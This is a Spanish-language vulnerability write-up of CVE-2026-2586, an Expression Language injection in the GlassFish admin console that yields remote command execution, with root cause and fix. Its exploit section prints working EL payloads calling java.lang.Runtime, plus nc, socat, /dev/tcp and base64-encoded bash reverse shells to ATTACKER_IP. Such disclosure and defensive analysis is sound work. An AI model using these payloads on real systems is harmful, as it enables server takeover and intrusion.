CVE-2026-2586: Remote Code Execution en GlassFish Admin Console


Un parámetro diseñado para mostrar mensajes de estado terminó siendo procesado por el motor de Expression Language del servidor. En la práctica, esto permitió convertir alertSummary y alertDetail en vectores de ejecución remota de comandos dentro de la consola administrativa de GlassFish.
Análisis rápido
Durante el análisis de la consola administrativa de Eclipse GlassFish, se identificó que los parámetros
alertSummary
y
alertDetail
, utilizados para mostrar mensajes de estado después de guardar una configuración, podían ser procesados como expresiones del lado del servidor.
La vulnerabilidad fue corregida en GlassFish 8.0.2:
https://github.com/eclipse-ee4j/glassfish/releases/tag/8.0.2
El problema no estaba en que el dato se reflejara en la respuesta, sino en lo que ocurría después: esos valores volvían a pasar por el motor de Expression Language del servidor. Con la sintaxis correcta, era posible invocar
java.lang.Runtime
y ejecutar comandos arbitrarios bajo el contexto del proceso de GlassFish.
En la práctica, un usuario autenticado en el panel podía abusar de este comportamiento para obtener ejecución remota de comandos a partir de un parámetro originalmente diseñado para mostrar mensajes de estado, como
"New values successfully saved."
.
EL Injection — el punto de entrada
La consola web de GlassFish expone un endpoint utilizado para editar la configuración de los virtual servers. Después de guardar una configuración, la consola redirige al usuario mostrando un mensaje de alerta controlado por parámetros incluidos en la URL.
GET /web/configuration/virtualServerEdit.jsf
?name=server&configName=server-config&alertType=success
&alertSummary=New+values+successfully+saved. ← vector de inyección
&alertDetail=&bare=true HTTP/1.1
Host: panel.example.com:4848
A simple vista,
alertSummary
parece un parámetro destinado únicamente a mostrar un mensaje en la interfaz. Sin embargo, el valor no se limitaba a la capa de presentación: era reutilizado internamente en un contexto donde el motor de Expression Language podía evaluarlo como una expresión del lado del servidor.
De esta forma, el mismo parámetro que en un flujo normal contenía el texto
"New values successfully saved."
podía ser reemplazado por una expresión EL maliciosa para ejecutar comandos bajo el contexto del proceso de GlassFish.
La causa raíz por qué el parámetro ejecuta código
La consola de GlassFish utiliza
jsftemplating
, un motor de plantillas capaz de procesar expresiones del lado del servidor mediante la sintaxis
#{...}
de Expression Language (EL). El problema era que el valor de
alertSummary
volvía a pasar por ese motor antes de renderizarse, permitiendo que una entrada controlada por el usuario fuera interpretada como una expresión EL válida.
Esto hacía posible construir expresiones capaces de acceder a clases Java mediante la API de Reflection, incluyendo
java.lang.Runtime
, lo que abría el camino a la ejecución de comandos del sistema operativo.
GlassFish sí aplicaba sanitización: el parámetro pasaba por
htmlEscape()
antes de mostrarse en la interfaz. Sin embargo, esa protección estaba orientada al contenido interpretado por el navegador, no al contexto donde el dato era procesado por el motor de Expression Language.
En otras palabras,
htmlEscape()
podía neutralizar etiquetas HTML, pero no la sintaxis
#{...}
evaluada del lado del servidor. La defensa existía, pero fue aplicada en la capa equivocada.
Construcción del exploit
Confirmar la evaluación de Expression Language fue solo el primer paso. El reto principal era construir un payload que atravesara correctamente varias capas de procesamiento: la URL, el motor de EL,
Runtime.exec(String)
, el manejo de streams del servidor y la interpretación final por Bash.
Cada capa imponía una restricción distinta, por lo que la explotación requería algo más que ejecutar un comando: la carga debía llegar completa, mantenerse estable y ser interpretada en el contexto correcto.
Confirmación de ejecución
Para confirmar la ejecución remota de comandos sin depender de la respuesta HTTP, se utilizó un canal externo: un listener de red esperando paquetes ICMP.
#{' '.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('ping -c 3 ATTACKER_IP')}
Los paquetes ICMP llegaron correctamente al listener, confirmando que el servidor ejecutaba comandos del sistema operativo. Sin embargo, la salida del comando no aparecía en la respuesta HTTP, por lo que la explotación debía continuar de forma ciega.
Este primer payload funcionó porque
ping -c 3 ATTACKER_IP
es un comando simple, compuesto por tokens sin caracteres especiales de shell.
Runtime.exec(String)
puede dividirlo y ejecutarlo directamente, sin requerir un intérprete como Bash ni redirección de streams.
Conflicto con el OutputStream de la respuesta HTTP
#{new java.util.Scanner(Runtime.getRuntime().exec('id').getInputStream()).next()}
Resultado:
java.lang.IllegalStateException: getOutputStream() has already been called
El error reveló una restricción importante del flujo de ejecución: GlassFish ya mantenía asociado un
OutputStream
para construir la respuesta HTTP enviada al cliente. Al intentar leer la salida del proceso ejecutado y devolverla dentro de esa misma respuesta, el payload entraba en conflicto con el manejo interno de streams del servidor.
Restricciones de ejecución y construcción del payload
Durante las pruebas, la ejecución de comandos simples confirmó que el servidor procesaba correctamente la expresión EL. Sin embargo, obtener una shell interactiva requería atravesar varias restricciones adicionales impuestas por la forma en que Java crea procesos desde
Runtime.exec(String)
.
.exec('nc -e /bin/sh ATTACKER_IP 443')
Este enfoque no permitió obtener una shell funcional. En este punto, el problema ya no era ejecutar comandos, sino conseguir una redirección estable de
stdin
,
stdout
y
stderr
hacia el socket. Una shell interactiva necesita que la entrada y salida del proceso hijo queden conectadas correctamente al canal de red; si esa redirección no se establece de forma limpia, el proceso puede cerrarse o quedar sin una sesión utilizable.
Con
socat
el resultado fue distinto:
.exec('socat TCP:ATTACKER_IP:443 EXEC:/bin/sh')
socat, al estar escrito en C, crea el socket, lanza el proceso hijo y gestiona la redirección de entrada/salida desde su propio contexto, sin depender de los streams de Java. Esta prueba confirmó que el problema no era ejecutar comandos, sino quién gestionaba la redirección de I/O. Mientras esa redirección dependiera del contexto de Java, fallaba; cuando la gestionaba un proceso externo, funcionaba.
Sin embargo,
socat
no suele estar instalado por defecto en servidores Linux. Por eso, el payload final debía apoyarse en utilidades más comunes, principalmente
bash
y
base64
.
El siguiente intento fue usar una reverse shell clásica con
bash -c
:
.exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"')
El problema estaba en
Runtime.exec(String)
: Java divide el comando por espacios antes de crear el proceso, por lo que las comillas no se respetan como en una terminal. Como resultado, el argumento de
bash -c
llegaba fragmentado y la redirección
>&
no era interpretada correctamente por Bash.
Para resolverlo, se utilizó
brace expansion
de Bash. En Bash,
{comando,argumento}
se expande como
comando argumento
, pero permite representarlo sin escribir espacios explícitos en partes críticas de la cadena.
{echo,PAYLOAD}
Esto permitió construir una cadena más estable:
bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}
De esta forma, Java conserva el bloque crítico sin romperlo, y Bash lo reconstruye al momento de ejecutarlo. La carga se imprime, se decodifica con
base64 -d
y finalmente se interpreta dentro de una sesión Bash interactiva.
El último problema estaba en la URL. Una reverse shell tradicional incluye caracteres como
>
,
&
y espacios, los cuales pueden alterar la estructura de la query string y romper el payload antes de que llegue completo al servidor. Por eso, la carga real se codificó en Base64.
#{''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('bash+-c+{echo,<PAYLOAD_BASE64>}|{base64,-d}|{bash,-i}')}
Con esto, la URL transporta una cadena limpia, Java no interpreta directamente la redirección y Bash reconstruye el comando final dentro de su propio proceso.
Conclusión
La falla no estaba únicamente en que
alertSummary
y
alertDetail
fueran controlables por el usuario, sino en que esos valores eran reutilizados en un contexto donde el motor de
Expression Language podía evaluarlos del lado servidor. Aunque existía
htmlEscape()
, esa protección estaba orientada al navegador y no al contexto real donde el dato terminaba siendo procesado.
En este caso, una defensa válida aplicada en la capa equivocada permitió transformar un mensaje de alerta en ejecución remota de comandos. La lección principal es clara: una entrada no debe considerarse segura solo porque fue escapada para HTML; si después será interpretada por otro motor, parser o capa de ejecución, debe neutralizarse específicamente para ese contexto.
Recursos
PoC:
https://github.com/DeepSecurityResearch/CVE-2026-2586
Corrección en GlassFish 8.0.2:
https://github.com/eclipse-ee4j/glassfish/releases/tag/8.0.2
El repositorio contiene el código de validación utilizado durante la investigación de CVE-2026-2586, incluyendo el flujo de autenticación, la construcción del payload y la ejecución controlada contra instancias vulnerables de GlassFish.
La publicación del PoC tiene fines de investigación, documentación técnica y validación defensiva. Su uso debe limitarse exclusivamente a laboratorios, sistemas propios o entornos donde exista autorización explícita.










